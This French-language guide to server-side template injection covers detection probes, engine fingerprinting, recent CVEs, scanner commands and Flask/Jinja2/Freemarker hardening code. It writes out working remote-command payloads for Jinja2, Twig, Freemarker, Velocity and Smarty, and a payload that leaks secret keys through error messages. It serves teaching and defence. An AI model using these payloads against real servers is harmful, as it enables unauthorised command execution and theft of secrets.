SSTI (CWE-1336, OWASP A03:2021) : forcer le moteur de templates à exécuter des expressions contrôlées par l'attaquant — RCE direct sur Jinja2, Twig et Freemarker.
TL;DR
{{7*7}}, ${7*7}) évaluées par le serveur — 49 dans la réponse confirme l'exécution${{<%[%'"}}%\ identifie le moteur via sa signature d'erreur (Korchagin 2025, PortSwigger Rang #1)L'injection de template côté serveur (SSTI) est une classe de vulnérabilités où une entrée contrôlée par l'attaquant est intégrée dans une chaîne de template et interprétée par un moteur de templates côté serveur comme du code exécutable. Contrairement au Cross-Site Scripting — qui exécute les payloads de l'attaquant dans le navigateur de la victime — la SSTI s'exécute directement sur le serveur sous les propres privilèges du processus applicatif. Le plafond d'impact est la compromission totale du système via l'exécution de code à distance (RCE).
Les moteurs de templates sont conçus pour séparer la présentation de la logique métier : le développeur écrit un template avec des espaces réservés, le moteur substitue les valeurs au moment de l'exécution, et le résultat est rendu. La vulnérabilité apparaît quand les développeurs construisent des templates en concaténant des chaînes fournies par l'utilisateur plutôt qu'en passant les entrées utilisateur comme variables de rendu sécurisées. Le moteur ne peut pas distinguer la syntaxe écrite par le développeur de la syntaxe injectée par l'attaquant — il évalue les deux.
OWASP classe la SSTI dans A03:2021 (Injection). Le CWE spécifique est CWE-1336 (Neutralisation incorrecte des éléments spéciaux utilisés dans un moteur de templates). Le paysage des menaces 2025-2026 montre la SSTI comme l'une des classes de vulnérabilités les plus activement weaponisées : trois CVE ont reçu des entrées CISA KEV en moins de deux ans, et la technique "Successful Errors" de Vladislav Korchagin a été classée comme la recherche la plus impactante en sécurité web de 2025 par PortSwigger.
La cause racine est identique pour tous les moteurs : l'entrée utilisateur entre dans le pipeline de rendu de template comme source, pas comme donnée.
La chaîne d'exploitation se déroule en quatre étapes :
template = "Bonjour " + user_name + "!". L'intention est de produire un message d'accueil — mais la chaîne contient désormais du contenu contrôlé par l'attaquant à l'intérieur du contexte de template.render_template_string(template) dans Flask, $twig->createTemplate($user_input) dans Twig, new Template(userInput) dans Freemarker.{{, ${, #set(, <#assign) est traité comme du code de template valide.os.popen(), Runtime.getRuntime().exec(), system() — pour atteindre le RCE.Une preuve de concept minimale dans une application Flask vulnérable :
GET /salutation?nom={{7*7}} HTTP/1.1
Host: vulnerable.example.comHTTP/1.1 200 OK
Content-Type: text/html
Bonjour 49!Le 49 confirme que le moteur Jinja2 a évalué 7*7. Le chemin d'escalade :
# Étape 1 — Confirmer Jinja2 ({{7*'7'}} → 49 Jinja2, 7777777 Twig)
{{7*7}}
# Étape 2 — Dump de config (divulgation d'informations)
{{ config.items() }}
# Étape 3 — RCE via cycler globals
{{ cycler.__init__.__globals__.os.popen('id').read() }}| Variante | Technique | Moteurs | Impact |
|---|---|---|---|
| Évaluation math | {{7*7}} → 49 | Tous | Confirme la SSTI, identification du moteur |
| Dump de propriétés | {{config}}, ${.now} | Jinja2, Freemarker | Exfil clé secrète / identifiants |
| Traversée MRO | __class__.__mro__[1].__subclasses__() | Jinja2 | Évasion sandbox → RCE |
| Accès globals | cycler.__init__.__globals__.os | Jinja2 | RCE contournant filtre attribut |
| Callback de filtre | _self.env.registerUndefinedFilterCallback("system") | Twig | RCE via system() PHP |
| Builtin Execute | "freemarker.template.utility.Execute"?new() | Freemarker | RCE Java direct |
| Chaîne ClassTool | $Class.inspect("java.lang.Runtime").type.getRuntime().exec(...) | Velocity | RCE Java |
| Exfil error-based | {{ config.SECRET_KEY.fail() }} (Korchagin 2025) | Jinja2, SpEL | Fuite de données via exception |
| Moteur | Langage | Sonde de détection | {{7*'7'}} | Sandbox | Chemin RCE principal |
|---|---|---|---|---|---|
| Jinja2 | Python | {{7*7}} → 49 | 49 (mult. truthy) | SandboxedEnvironment | cycler.__init__.__globals__.os.popen() |
| Twig | PHP | {{7*7}} → 49 | 7777777 (rép. str) | SecurityPolicy | _self.env.registerUndefinedFilterCallback("system") |
| Freemarker | Java | ${7*7} → 49 | 49 | SAFER_RESOLVER | "freemarker.template.utility.Execute"?new() |
| Velocity | Java | $math.add(2,2) → 4 | N/A | SecureUberspector | #set($rt=$Class.inspect("java.lang.Runtime").type) |
| Smarty | PHP | {$smarty.version} | N/A | Objet security | {php}system('id');{/php} (< 3.1.39) |
| Pebble | Java | {{ 7*7 }} → 49 | 49 | Extension sandbox | Chaîne getClass().getClassLoader() |
L'avancée la plus significative de 2025 convertit la SSTI aveugle — où la sortie du template est supprimée — en extraction de données en bande. La technique déclenche délibérément une exception qui contient les données cibles dans la trace d'erreur :
# Jinja2 — forcer AttributeError révélant la config dans la trace
{{ config.SECRET_KEY.nonexistent_method() }}
# Le serveur retourne 500 avec : AttributeError: 'str' object has no attribute 'nonexistent_method'
# La trace de pile peut contenir la valeur SECRET_KEYCVE-2023-22527 — Atlassian Confluence Server (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Le template Velocity text-inline.vm accepte un paramètre label évalué comme OGNL dans le contexte d'action Struts2. Aucune authentification requise. Ajouté au CISA KEV le 23 janvier 2024. Des groupes de ransomware et des acteurs étatiques ont confirmé l'exploitation active jusqu'en 2025-2026. Plus de 11 000 instances Confluence exposées sur Internet étaient vulnérables au jour de la divulgation. Patché dans Confluence 8.5.4+.
CVE-2025-32432 — Craft CMS Twig SSTI (CVSS 10.0, CISA KEV 2025-04-29)
Les versions de Craft CMS antérieures à 3.9.14, 4.13.2 et 5.6.17 permettent l'injection de template Twig non authentifiée via l'endpoint de transformation d'assets. Une requête POST avec une expression Twig comme paramètre de transformation s'exécute sans sandboxing : {{ ['id']|filter('system')|join }} exécute des commandes OS. Exploitation active confirmée dans les 24 heures suivant la divulgation.
CVE-2025-54253 — Adobe AEM Forms on JEE (CVSS 10.0, CISA KEV 2025-08-21)
Injection OGNL pré-authentification via l'endpoint /adminui/debug dans Adobe AEM Forms on JEE. L'endpoint évalue les expressions OGNL via une couche de liaison Struts2, donnant accès direct à java.lang.Runtime.exec(). Aucune authentification requise. PoC publié le même jour que l'ajout au CISA KEV.
CVE-2022-23614 — Évasion de sandbox Twig (CVSS 8.8)
Twig 2.x avant 2.14.11 et 3.x avant 3.3.8 permettaient l'évasion de sandbox via le filtre sort avec un callback fourni par l'utilisateur. Un attaquant dans un contexte sandboxé pouvait invoquer des callables PHP arbitraires : {{ ['id']|sort(function(a,b){return system(a);}) }}. Démontre que le sandbox Twig a été contourné à plusieurs reprises via les mécanismes de callback de filtre.
CVE-2023-22527 (Confluence) reste activement exploité en 2025-2026. Les instances Confluence non patchées sur des réseaux accessibles depuis Internet sont compromises de manière fiable en quelques jours d'exposition. Vérifier que la version est 8.5.4+ ou 8.6.0+ via la console d'administration.
Identifier chaque entrée reflétée dans la sortie rendue : paramètres d'URL, champs de corps POST, en-têtes HTTP, champs de profil, aperçus de templates d'email, éditeurs WYSIWYG CMS.
Soumettre le polyglotte universel Korchagin dans chaque paramètre :
${{<%[%'"}}%\Une exception ou une sortie malformée indique un contexte de template. Croiser le message d'erreur avec le tableau de signatures de moteur.
Soumettre des sondes arithmétiques par syntaxe de moteur :
{{7*7}} → 49 (Jinja2, Twig, Pebble, Tornado)
{{7*'7'}} → 49 (Jinja2) vs 7777777 (Twig) — différenciateur définitif
${7*7} → 49 (Freemarker, Velocity, EL/SpEL)Reproduire avec deux sondes supplémentaires pour éliminer la mise en cache : {{8*9}} → 72, {{13*13}} → 169.
Différencier SSTI de CSTI : re-requêter avec curl. Si 49 apparaît dans le corps HTTP brut, c'est de la SSTI. Si seulement le DOM du navigateur montre 49, c'est de la CSTI.
# SSTImap v1.3.0 — 44 moteurs avec détection error-based Korchagin
sstimap -u "http://cible.com/salutation?nom=*"
# tplmap — référence legacy stable
tplmap.py -u "http://cible.com/salutation?nom=*"BreachVex confirme la SSTI via plusieurs techniques complémentaires : sondage par évaluation mathématique ({{7*7}} → 49), fingerprinting par signature d'erreur du polyglotte Korchagin, dumps de propriétés serveur non prédictibles reproduits plusieurs fois, et callbacks DNS hors-bande avec corrélation par sonde — ainsi chaque finding rapporté s'accompagne d'une preuve d'exécution, pas d'une supposition.
# Flask/Jinja2
# VULNÉRABLE — user_name évalué comme syntaxe de template
from flask import render_template_string
@app.route("/salutation")
def salutation():
nom = request.args.get("nom")
return render_template_string(f"Bonjour {nom}!") # vecteur SSTI
# SÉCURISÉ — user_name passé comme variable de rendu
from flask import render_template
@app.route("/salutation")
def salutation():
nom = request.args.get("nom")
return render_template("salutation.html", nom=nom) # sécurisé# Jinja2 — SandboxedEnvironment avec globals effacés
from jinja2.sandbox import SandboxedEnvironment
from jinja2 import StrictUndefined
env = SandboxedEnvironment(undefined=StrictUndefined)
env.globals.clear() # effacer tous les globals (cycler, joiner, lipsum...)
env.filters = {} # effacer tous les filtres; re-ajouter seulement les sûrs
tmpl = env.from_string(user_template)
result = tmpl.render(nom=safe_value)// Freemarker — bloquer Execute et ObjectConstructor
Configuration cfg = new Configuration(Configuration.VERSION_2_3_33);
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
cfg.setAPIBuiltinEnabled(false); // bloquer le contournement object?apiLes environnements sandboxés ne garantissent pas la prévention. Les six moteurs majeurs ont des chaînes de contournement de sandbox publiées. SandboxedEnvironment, Twig SecurityPolicy, Freemarker SAFER_RESOLVER et Velocity SecureUberspector sont des mécanismes de retard uniquement. La seule prévention fiable est de ne jamais passer d'entrées utilisateur comme source de template.
La SSTI est une vulnérabilité où une entrée contrôlée par l'attaquant est intégrée dans une chaîne de template et évaluée par le moteur de templates du serveur. Le moteur traite le payload de l'attaquant comme de la syntaxe de template — pas comme une donnée — permettant l'évaluation d'expressions, la traversée d'objets et l'exécution de code à distance (RCE).
Le XSS exécute du JavaScript contrôlé par l'attaquant dans le navigateur de la victime. La SSTI exécute des expressions de template directement sur le serveur. La SSTI accorde à l'attaquant un accès au niveau OS avec les privilèges du processus applicatif. Le XSS est limité au sandbox du navigateur. SSTI = CWE-1336 ; XSS = CWE-79.
Les deux impliquent l'exécution côté serveur d'une entrée attaquant. L'injection de code (CWE-94) cible un runtime généraliste — eval() en Python, PHP ou JavaScript. La SSTI cible spécifiquement un moteur de templates (CWE-1336). La chaîne d'exploitation diffère : la SSTI nécessite d'échapper au sandbox du template pour atteindre les primitives OS, tandis que l'injection de code via eval() a un accès direct au langage. En pratique, les deux conduisent à un impact RCE équivalent.
Soumettre des sondes arithmétiques par syntaxe de moteur : {{7*7}} (Jinja2/Twig), ${7*7} (Freemarker/Velocity/EL), #{7*7} (Ruby ERB). Un résultat numérique dans la réponse confirme l'exécution de template. Utiliser le polyglotte universel Korchagin ${{<%['"}}%\ pour le fingerprinting en aveugle — chaque moteur retourne une signature d'erreur distincte.
La sonde {{7*'7'}} est le différenciateur canonique. Jinja2 évalue la multiplication truthy et retourne 49 ; Twig traite cela comme une répétition de chaîne et retourne 7777777. Cette unique sonde différentielle identifie le moteur avant toute tentative d'exploitation.
Pas directement, mais la plupart des SSTI au niveau du moteur ont des chaînes d'évasion de sandbox publiées qui conduisent au RCE. Jinja2, Twig, Freemarker, Velocity, Smarty et Pebble ont tous des chaînes d'exploitation de grade RCE. Les moteurs fortement sandboxés (Liquid, Handlebars sans helpers) peuvent être limités à la divulgation d'informations.
Le polyglotte universel Korchagin ${{<%['"}}%\ (PortSwigger Top 10 Web Hacking Techniques 2025, Rang #1) déclenche simultanément une erreur de syntaxe dans chaque moteur de template majeur. La signature du message d'erreur identifie le moteur — jinja2.exceptions.TemplateSyntaxError pour Jinja2, Twig\Error\Syntax pour Twig, freemarker.core.ParseException pour Freemarker.
CVE-2023-22527 (Confluence Velocity, CVSS 10.0, CISA KEV, toujours exploité 2025-2026), CVE-2025-32432 (Craft CMS Twig, CVSS 10.0, CISA KEV 2025-04-29), CVE-2025-54253 (Adobe AEM Forms OGNL, CVSS 10.0, CISA KEV 2025-08-21), CVE-2025-41253 (Spring Cloud Gateway SpEL, CVSS 8.6), CVE-2024-21683 (Confluence Data Center, CVSS 8.3).
Le template Velocity text-inline.vm accepte un paramètre label contrôlé par l'utilisateur, traité comme OGNL dans un contexte Struts2. Un attaquant envoie POST /template/aui/text-inline.vm avec une expression OGNL appelant Runtime.exec(). Aucune authentification n'est requise. Patché dans Confluence 8.5.4+. Ajouté au CISA KEV le 23 janvier 2024 et exploité activement jusqu'en 2025-2026.
Ne jamais passer une entrée utilisateur comme source de template à render_template_string(). Toujours utiliser render_template('fichier.html', var=entree_utilisateur), qui passe les données utilisateur comme variable de rendu, pas comme syntaxe de template. Si des templates définis par l'utilisateur sont requis, utiliser jinja2.sandbox.SandboxedEnvironment et effacer env.globals entièrement.
Définir cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER) pour bloquer ?new() sur Execute et ObjectConstructor. Ajouter cfg.setAPIBuiltinEnabled(false) pour bloquer le contournement via object?api. Pour une sécurité maximale, utiliser ALLOWS_NOTHING_RESOLVER qui bloque toute instanciation de classe.
SSTImap v1.3.0 (Vladislav Korchagin) supporte 44 moteurs avec détection error-based Korchagin intégrée. tplmap (epinna) est la référence legacy stable. Burp Suite Pro 2025 inclut un profil SSTI extensive avec sondes Korchagin. Nuclei a des templates pour CVE-2023-22527. Semgrep python.flask.security.injection.tainted-string-format détecte l'utilisation de render_template_string avec des entrées utilisateur.
La CSTI (Client-Side Template Injection) se produit dans les moteurs JavaScript exécutés dans le navigateur (AngularJS, Vue.js). Le payload {{7*7}} ne rend 49 que dans le DOM après hydratation JavaScript, pas dans la réponse HTTP brute. La SSTI se produit dans les moteurs côté serveur ; le résultat rendu apparaît directement dans le corps de la réponse HTTP. Pour différencier : requêter l'URL avec curl — si 49 apparaît dans la réponse brute, c'est de la SSTI.